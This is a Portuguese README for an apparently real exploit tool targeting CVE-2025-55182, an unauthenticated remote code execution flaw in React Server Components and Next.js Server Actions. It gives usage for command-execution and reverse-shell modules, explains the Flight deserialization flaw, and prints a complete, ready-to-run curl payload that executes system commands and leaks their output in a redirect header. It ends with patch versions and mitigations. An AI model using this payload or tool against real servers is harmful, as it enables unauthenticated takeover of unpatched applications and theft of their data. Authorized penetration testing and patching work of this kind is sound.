CVE-2025-55182 — RCE não autenticado em Componentes de Servidor React (React2Shell). Ferramenta de exploração CVSS 10.0 para testes de penetração autorizados.
RCE não autenticado em React Server Components via desserialização insegura do protocolo Flight. Uma única requisição HTTP é suficiente para executar código arbitrário no servidor — sem credenciais, sem acesso prévio necessário.
_____ __ _ __
/ ___/____ ___ ____ _/ /_| |/ /
\__ \/ __ \/ _ \/ __ `/ __/ /
___/ / /_/ / __/ /_/ / /_/ |
/____/ .___/\___/\__,_/\__/_/|_|
/_/
React Server Components — Flight Protocol RCE
CVE-2025-55182 · CVSS 10.0
Author: SpeatX · OSCP Style · v1.0
CVE-2025-55182 · CVSS 10.0 · Não autenticado · RCE pré-autenticação · Divulgado em 3 de dezembro de 2025
Afeta React 19 (≤ 19.2.0) e qualquer aplicação Next.js que utilize Server Actions. As configurações padrão são vulneráveis — não é necessário código personalizado no lado do alvo.
Versões afetadas
| Pacote | Vulnerável | Corrigido |
|---|
react-server | 19.0.0 → 19.2.0 | 19.3.0+ |
next | todos com React 19 sem patch | 15.0.5 / 15.1.9 / 15.2.6 / 15.3.6+ |
git clone https://github.com/SpeatX/react2shell
cd react2shell
pip install requests
Requer Python 3.8+. Nenhuma outra dependência.
python exploit.py <module> -t <target> [options]
Módulos:
check Identificar o alvo e confirmar vulnerabilidade
exec Executar um único comando do sistema e ler a saída
revshell Enviar um reverse shell para o seu listener
Opções:
-t, --target URL URL do alvo
-c CMD Comando a executar (módulo exec)
--lhost IP Seu IP (detectado automaticamente de tun0 se não definido)
--lport PORT Porta de escuta (padrão: 4444)
--shell-type TYPE bash · python3 · nc · mkfifo · node (padrão: bash)
--proxy URL Roteamento através de proxy (ex: http://127.0.0.1:8080)
--random-agent Rotacionar User-Agent a cada requisição
--timeout N Tempo limite de requisição (padrão: 15)
Fluxo de trabalho recomendado — sempre comece com check:
# 1. Confirm the target is vulnerable
python exploit.py check -t http://10.10.11.50
# 2. Run commands to enumerate or grab flags
python exploit.py exec -t http://10.10.11.50 -c "id"
python exploit.py exec -t http://10.10.11.50 -c "cat /root/root.txt"
# 3. Get a shell when you need interactivity
# (start your listener first: nc -lvnp 4444)
python exploit.py revshell -t http://10.10.11.50
python exploit.py revshell -t http://10.10.11.50 --lhost 10.10.14.5 --lport 4444
python exploit.py revshell -t http://10.10.11.50 --shell-type python3 --lport 9001
Suporte a proxy e User-Agent aleatório funcionam com qualquer módulo:
python exploit.py check -t http://10.10.11.50 --proxy http://127.0.0.1:8080
python exploit.py exec -t http://10.10.11.50 -c "whoami" --random-agent
python exploit.py revshell -t http://10.10.11.50 --proxy http://127.0.0.1:8080
Ajuda por módulo: python exploit.py <module> --help
Os React Server Components comunicam-se usando um formato de streaming interno chamado protocolo Flight. Quando um navegador invoca uma Server Action, envia um POST multipart/form-data para a raiz da aplicação com um cabeçalho Next-Action. O servidor passa o corpo para o pacote react-server para desserialização antes de fazer qualquer outra coisa — incluindo validar o ID da ação.
Browser Node.js / Next.js
│ │
│── POST / ────────────────────────>│
│ Next-Action: x │
│ Content-Type: multipart/form-data│
│ Body: poisoned Flight chunk │
│ │
│ react-server │
│ resolveModelToJSON() │ ← vulnerable
│ │
│<── 307 + X-Action-Redirect ───────│ output here
Dentro de resolveModelToJSON(), o desserializador percorre o bloco JSON recebido. Quando encontra um objeto com uma propriedade then, trata-o como uma Promise e aguarda sua resolução — comportamento intencional para Server Components assíncronos. O problema: nenhuma validação é feita para confirmar que o thenable veio de uma fonte confiável.
Um atacante injeta um bloco falso no corpo multipart contendo uma propriedade then que aponta para require('child_process').execSync(...). React o aguarda e o comando do sistema operacional é executado.
Next-Action: x funcionaEm produção, as Server Actions são identificadas por um hash SHA. O servidor deveria validar isso antes do processamento. Mas o decodificador Flight é executado antes dessa verificação — o que significa que qualquer POST com um cabeçalho Next-Action, mesmo um completamente falso como x, aciona o caminho vulnerável de desserialização. Nenhum ID de ação válido é necessário.
O código injetado captura a saída do comando e lança um erro NEXT_REDIRECT manipulado:
var res = require('child_process').execSync('<cmd>').toString().trim();
throw Object.assign(new Error('NEXT_REDIRECT'), {
digest: `NEXT_REDIRECT;push;/login?a=${res};307;`
});
Next.js captura isso e converte em um 307 Temporary Redirect, incorporando o digest no cabeçalho de resposta X-Action-Redirect. A saída do comando chega codificada em URL:
HTTP/1.1 307 Temporary Redirect
X-Action-Redirect: /login?a=uid%3D0%28root%29%20gid%3D0%28root%29;307;
curl -si -X POST http://TARGET/ \
-H 'Next-Action: x' \
-H 'Content-Type: multipart/form-data; boundary=----Boundary' \
--data-binary $'------Boundary\r\nContent-Disposition: form-data; name="0"\r\n\r\n{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":"var res=process.mainModule.require(\'child_process\').execSync(\'id\').toString().trim().replace(/\\\\n/g,\' | \');;throw Object.assign(new Error(\'NEXT_REDIRECT\'),{digest:`NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}\r\n------Boundary\r\nContent-Disposition: form-data; name="1"\r\n\r\n"$@0"\r\n------Boundary\r\nContent-Disposition: form-data; name="2"\r\n\r\n[]\r\n------Boundary--\r\n'
A saída está no cabeçalho X-Action-Redirect, codificada em URL após /login?a=.
npm install react@latest react-dom@latest next@latest
Mínimo seguro: react-server ≥ 19.3.0 · next ≥ 15.3.6
Se a correção não for possível imediatamente:
experimental: { serverActions: false } no next.config.jsNext-Action no nível do proxy reversoNEXT_REDIRECT ou __proto__Apenas para testes de penetração autorizados e fins educacionais.